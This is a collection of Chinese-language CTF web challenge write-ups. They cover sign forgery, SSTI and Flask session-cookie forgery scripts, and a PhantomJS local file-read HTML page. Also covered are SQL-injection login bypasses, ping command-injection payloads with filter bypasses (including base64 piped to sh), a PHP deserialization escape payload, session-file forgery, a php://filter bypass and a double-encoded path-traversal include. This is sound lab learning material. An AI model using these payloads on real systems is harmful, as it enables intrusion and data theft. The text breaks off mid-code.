self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
有一个scan函数,可以读取本地的文件
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
然后题目给的源码里有一个flag.sh,flag应该就在flag.txt里,想办法让param等于flag.txt就可以了
看一下源码,有三条路由
/是显示主页面,指向一个txt文件
/geneSign页面调用了getSign方法生成 md5
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
/De1ta页面用get方法传入param参数值,在cookie里面传递action和sign的值,将传递的param通过waf这个函数
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
waf检查大小写和gopher或者file开头的,所以在这里过滤了这两个协议,使我们不能通过协议读取文件
然后创建task对象,使用Exec函数
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
去看task中的Exec()
Exec函数中有这样一部分
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
这里部分是调用checkSign函数检查参数,如果通过的话就把param传到scan函数中
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
这个检查是比较getsign的返回值和sign的值
跟进getSign
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
给出了Sign的计算方式,但是我们不知道secert_key的值
但是这一条路由:
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
会直接返回getSign计算后的结果,action被定义成scan,所以我们不需要知道key的值,只需要直接访问/geneSign并且传参flag.txtread就可以得到对应的Sign
然后因为这个md5是拼接的,所以这里让param=flag.txtread生成md5值,然后后续再让action=readscan,这样结果就都是flag.txtreadaction了,md5值也就一样了
拿到Sign
再回到task中的Exec()函数,然后按要求传参拿到flag
登录或注册,进去之后
我们输入东西点提交就可以直接在下面新增并显示,大概率是用的模板
这题考察的应该就是模板注入
然后第三个页面点进去有一句提示
说我们不是管理员,那这题估计又要伪造session或者cookie了
模板的话一般文件目录的结构都是固定的,尝试利用输入框读取一下
输入框不太行,再抓包看一下选择项是不是可以修改
可以修改,随便整个类读一下,确实存在注入
利用SSTI:python中一切内容都可以是对象,不同的类也可能继承于同一父类或父类的父类,然后就可以检查本类的父类,再检查父类的子类,以此类推就可以调用所有的类
用这种方法调用globals,globals会返回某个位置的全局变量,然后flask的配置文件app.config中一般存放着模板相关的变量
__class__.__init__.__globals__[app].config
拿到SECRT_KEY,用网上搜的cookie伪造脚本伪造一下
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
访问admin panel页面,抓包改cookie
一个查询页面,可以输入url
输入http://baidu.com会返回一个百度的截图
尝试一下file协议
发现是必须url要以http或https开头,不然就警告
扫了一下目录以及抓包也没有发现任何有用信息
去搜了一下,说是要用https://beeceptor.com/这个网站生成一个临时站点,然后让目标站点访问,可以抓取到更详细的信息
生成一个qweqwe.free.beeceptor.com并访问
抓到了两个GET请求,但是这样跟burp抓到的一样
搜了一下说是要用http请求访问
这个网站使用的是PhantomJS 这个其实就是一种爬虫,可以其中就包含获得网页的截屏功能
这个是有漏洞的,CVE-2019-17221,我们可以自己构建一个html文件,在里面用XMLHttpRequest对象用于访问url的方法来访问本地资源,然后用目标网站读取我们的文件就会造成文件包含
构造html:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var karsa;
karsa = new XMLHttpRequest;
karsa.onload = function(){
document.write(this.responseText)
};
karsa.open("GET","file:///flag");
karsa.send();
</script>
</body>
</html>
然后放到自己的vps里让服务器访问就会回显flag
登录后提示wrong user
查看源码
是一段双层加密,先base32解码再base64解码
解密后是一串查询语句
也就是说有sql注入,回到登录页面尝试
先用order by查询,发现有过滤
继续试-1' union select 1,2,3#
没有报错,所以基本就是三列 id username password
然后发现如果用admin账号登录,会显示密码不对,用不存在账号登录就显示密码错误
所以账号和密码是分开判断的,而且先判断账号
附上他人推断的源码:
$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}
我们可以伪造一行查询结果来让后端读取
比如:
比如要用dump登录,我们构造一行假的查询结果(是直接用select输出的字符串,而不是真正查到的)
然后id=1改成 id=-1这样就只剩下我们伪造的行了
试一下username和password的位置
-1'union select 1,'admin',3#
提示密码错误,admin在第二个位置
构造payload:
账号:-1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#(md5加密的123)
密码:123
登录
提示了需要传参ip
就是传参ip地址就会返回ping信息
管道符执行其他命令
/?ip=1;ls
/?ip=1;cat flag.php
提示空格被过滤了
绕过空格可以用$IFS$1变量绕过,或者url编码的换行符,重定向符等
/?ip=1;cat$IFS$1flag.php
flag可以用单引号或者\绕过
/?ip=1;cat$IFS$1f\''l""a\g.php
连符号也被过滤了
先试一下index.php能不能查看吧
/?ip=1;cat$IFS$1index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
给出了所有的过滤
过滤了各种各样的符号,bash
并且flag是贪婪匹配,flag四个字符不能同时出现在任何字符串中
过滤的并不算很严,有很多绕过的方式
先自定义一个变量,再拼接变量名
?ip=1;a=g;cat$IFS$1fla$a.php;
将base64编码的命令先解码再传递到bash运行 (sh是bash简写)
/?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
反引号内联,中的内容会被当做命令先执行
?ip=127.0.0.1;cat$IFS$1`ls`
F12查看flag
登录系统,啥都没有,随便输入东西登录也什么也不会发生,查看源码,仍然什么都没有
扫一下目录吧,发现有www.zip备份文件,下载下来看一下
update.php:
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
可以看到如果session中的login值等于1就输出flag
看一下它包含的lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
User类获取username和password参数,拿去给dbCtrl类中的login函数处理并得到返回的id值,id不为空就可以登录,然后给SEESION的id和login字段赋值,然后就可以拿到flag
login函数会检查token=admin,或者MD5加密后的password等于sql查询到的password,就可以登录成功返回id值,然后这个查询是可以利用的:
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
``这里password传md5加密后的1,然后比较的时候解密拿到1,字符串不为空也会返回1,然后就相等返回id值
现在需要传入我们构造的sql语句进行调用,然后就找魔术方法就行了,UpdateHelper类中__destruct(),在销毁时将$sql实例化为User类的对象并当成字符串输出
然后info中的call()函数就会被自动调用,call()方法里$CtrlCase调用了login()方法,然后给login()传入我们要执行的sql语句就可以了,也就是给age传值我们的sql语句
然后再看update()函数
public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
}
在user类的update()函数中的解序列化解的不是我们的字符串,而是getNewinfo()的返回值,然后这个getNewinfo()的返回值是safe(serialize(new Info($age, $nickname)));
也就是用safe序列化处理过的info对象,info的属性就是我们POST传入的参数
看一下safe
function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}
这里明显可以进行逃逸,将union转成hacker就会多一个字符
逃逸后的最终payload:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
update.php页面传入payload
login.php登录
题目给了github的源码
这俩没啥用:
文件很多,其中有flag.php,肯定跟flag有关,先看这个
<section>
<h2>Get flag</h2>
<p>
<?php
if (is_admin()) {
echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
} else {
echo "You are not an admin :(";
}
?>
</p>
</section>
is_admin()判断如果是admin则拿到flag,去找is_admin(),然后在lib.php里找到大量函数的定义,其中就有is_admin()
<?php
function redirect($path) {
header('Location: ' . $path);
exit();
}
// utility functions
function e($str) {
return htmlspecialchars($str, ENT_QUOTES);
}
// user-related functions
function validate_user($user) {
if (!is_string($user)) {
return false;
}
return preg_match('/\A[0-9A-Z_-]{4,64}\z/i', $user);
}
function is_logged_in() {
return isset($_SESSION['user']) && !empty($_SESSION['user']);
}
function set_user($user) {
$_SESSION['user'] = $user;
}
function get_user() {
return $_SESSION['user'];
}
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}
// note-related functions
function get_notes() {
if (!isset($_SESSION['notes'])) {
$_SESSION['notes'] = [];
}
return $_SESSION['notes'];
}
function add_note($title, $body) {
$notes = get_notes();
array_push($notes, [
'title' => $title,
'body' => $body,
'id' => hash('sha256', microtime())
]);
$_SESSION['notes'] = $notes;
}
function find_note($notes, $id) {
for ($index = 0; $index < count($notes); $index++) {
if ($notes[$index]['id'] === $id) {
return $index;
}
}
return FALSE;
}
function delete_note($id) {
$notes = get_notes();
$index = find_note($notes, $id);
if ($index !== FALSE) {
array_splice($notes, $index, 1);
}
$_SESSION['notes'] = $notes;
}
可以看到is_admin就是简单的判断,判断session中admin字段是否为true,查阅资料php的session存储字段时如果是内容是对象,那就会自动序列化的,序列化存储格式为:键名 | serialize函数序列处理的值
所以可以伪造admin字段
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}
然后就找哪里可以输入,去看添加笔记的源码
<?php
require_once('init.php');
if (!is_logged_in()) {
redirect('/?page=home');
}
if (!isset($_POST['title']) || empty($_POST['title'])) {
redirect('/?page=notes');
}
$title = $_POST['title'];
if (!isset($_POST['body']) || empty($_POST['body'])) {
redirect('/?page=notes');
}
$body = $_POST['body'];
add_note($title, $body);
redirect('/?page=notes');
add.php会通过表单POST获取title和body
然后调用add_note函数将添加我们输入的内容
function add_note($title, $body) {
$notes = get_notes();
array_push($notes, [
'title' => $title,
'body' => $body,
'id' => hash('sha256', microtime())
]);
$_SESSION['notes'] = $notes;
}
add_note函数会给我们的笔记设置一个id,然后把笔记放到session的notes字段里
<?php
require_once('init.php');
if (!is_logged_in()) {
redirect('/?page=home');
}
$notes = get_notes();
if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}
for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}
if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);
这部分源码会生成笔记的文件,其中这一段:
if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;
判断type参数,如果没有设置这个参数就默认文件后缀是zip,否则就是我们传入的后缀
然后拼接文件名,session的user字段拼接一个 - 连接的八位随机数 再拼接我们传入的后缀名
然后就是一个过滤,把 .. 替换成空
大致就是要需要创建一个用户名为:sess_
然后Add note提交title为:|N;admin|b:1; 然后tite存到session的时候被序列化成:admin==bool(true)
,然后session中的admin就等于true可以通过验证了
然后export.php?type=. 即可使得这个.与前面的.拼接成 .. 被替换为空,$filename也就被伪造成了session的文件名
然后就会生成一个文件
-192145efc689d9e8就是生成的phpsession,替换一下就拿到flag了
前两个会弹一段没啥用的话
第三个直接给出了源码
<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
先是通过伪协议input : //将post中的数据传到body进行json格式解析,所以需要我们post传入josn格式的内容
然后调用is_valid($body) 对post传入的内容进行检验,is_valid()函数会过滤一堆关键字,还要求我们在json中要写一个page参数,不通过的话就会返回invalid request
然后获取page文件的内容,再对文件内容进行一次is_valid()检验,不通过则返回no found
最后如果文件中有HarekazeCTF{}的内容就换成 HarekazeCTF{<censored>}
输出json编码的文件内容
然后就要想办法进行绕过is_valid()传递page,json在传输时用Unicode编码的,可以使用Unicode编码绕过
通过了文件名检验,说明是有flag这个文件的,但是内容中有敏感关键字
in_vaild没有过滤filter://我们用php://filter/read=convert.base64-encode/resource=/flag来base64加密内容绕过,php和flag都Unicode编码一下
{"page":"\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
进入之后有登录和注册功能
注册一个账号然后登录
可以留言或者改密码
查看一下源码
发现提示你不是admin,需要我们以admin登录
在修改密码的页面源码里有一段提示
给出了源码的github地址
又是flask的文件
查看路由
大致看了一下,code是生成验证码,config是配置,routes里有路由信息
查看一下路由
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code
@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':
flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username
可以看到里面的登录,验证码,修改密码等功能都是对session进行操作
所以就需要我们session伪造一下
先F12拿一下session
用github上session解密的脚本解密一下
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
session为
{'_fresh': True, '_id': b'26399df229d497efe4214c61f71a674bb509303402028209e291417ad83d303c1700e53ea9b778ab2fe080740884f40ac5e4a4968053ea30a7f182f4793d26f', 'csrf_token': b'62a88a8aea8450afab90fc81f2ffd53582ddb22e', 'image': b'8vsh', 'name': 'qwe', 'user_id': '10'}
我们可以尝试直接把name字段改成admin
现在还需要拿到session的密钥,前面看config.py的时候有一段
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:[email protected]:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
这里说secret_KEY可以是ckj123
github上的伪造session脚本
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
然后替换浏览器的session就可以登录到admin账户
进入之后什么也没有,查看源码提示有个source.php
进入之后给了一段的源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
最后有个include文件包含
还提示了一个hint.php
也访问一下
第二个if直接判断,肯定没法用
第三个if截取?前部分,虽然能过检验,但是第二个?后的ffffllllaaaagggg会被当成参数名,没法被当成文件包含
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,urldecode再解码一次,然后包含的时候进行目录穿越
payload:
?file=source.php%253f../../../../../ffffllllaaaagggg
服务端将?解码一次之后是%3f
文件包含的时候source.php%253f../../../../../ffffllllaaaagggg被当成路径,进入source.php%3f目录(不存在),source.php%3f../就是当前目录,然后多翻几级挨个目录找flag就行了
注册账号之后登录完了有个GET flag
但是不让有flag字段
主页的url中的login和register都没有.php后缀,查阅资料是用js框架写的网站,没有用php,访问一下app.js
上网查阅资料,koa是一种 基于Node.js的框架,然后有一个目录controllers里面有个api.js
访问一下会出现源码
查看其中的部分源码:
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
flag在api/flag里,读取session中的username字段,不是admin不能读取
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
